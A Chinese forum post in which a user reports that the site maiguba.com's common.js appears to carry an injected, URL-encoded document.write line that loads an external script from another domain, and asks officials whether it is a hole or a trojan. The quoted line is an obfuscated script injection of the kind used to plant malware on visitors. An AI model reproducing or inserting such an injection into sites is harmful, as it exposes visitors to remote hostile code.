是漏洞还是木马？

http://www.maiguba.com/

源码发现：
<base href="[url=view-source:http://www.maiguba.com/]http://www.maiguba.com/[/url]" /><link rel="stylesheet" type="text/css" href="[url=view-source:http://www.maiguba.com/data/cache/style_1_common.css?BdU]data/cache/style_1_common.css?BdU[/url]" /><link rel="stylesheet" type="text/css" href="[url=view-source:http://www.maiguba.com/data/cache/style_1_forum_index.css?BdU]data/cache/style_1_forum_index.css?BdU[/url]" /><link rel="stylesheet" id="css_extstyle" type="text/css" href="[url=view-source:http://www.maiguba.com/template/default/style/t1/style.css]./template/default/style/t1/style.css[/url]" /><script type="text/javascript">var STYLEID = '1', STATICURL = 'static/', IMGDIR = 'static/image/common', VERHASH = 'BdU', charset = 'gbk', discuz_uid = '16', cookiepre = '4utF_2132_', cookiedomain = '', cookiepath = '/', showusercard = '0', attackevasive = '0', disallowfloat = 'login|register|newthread|reply|viewratings|viewwarning|viewthreadmod|viewvote|tradeorder|activity|debate|nav|usergroups|task', creditnotice = '', defaultstyle = './template/default/style/t1', REPORTURL = 'aHR0cDovL3d3dy5tYWlndWJhLmNvbS9pbmRleC5waHA=', SITEURL = 'http://www.maiguba.com/', JSPATH = 'static/js/';</script>
<script src="[url=view-source:http://www.maiguba.com/static/js/common.js?BdU]static/js/common.js?BdU[/url]" type="text/javascript">

这段JS打开是

document.write('<script src=http://%77%77%77%2E%71%71%63%6F%6D%31%36%38%2E%63%6F%6D/%63%61%63%68%65/%63%73%73%2E%6A%73></script>')

请官方看看！

[新建议] 是漏洞还是木马？ [复制链接] ????????????????????????没有人吗？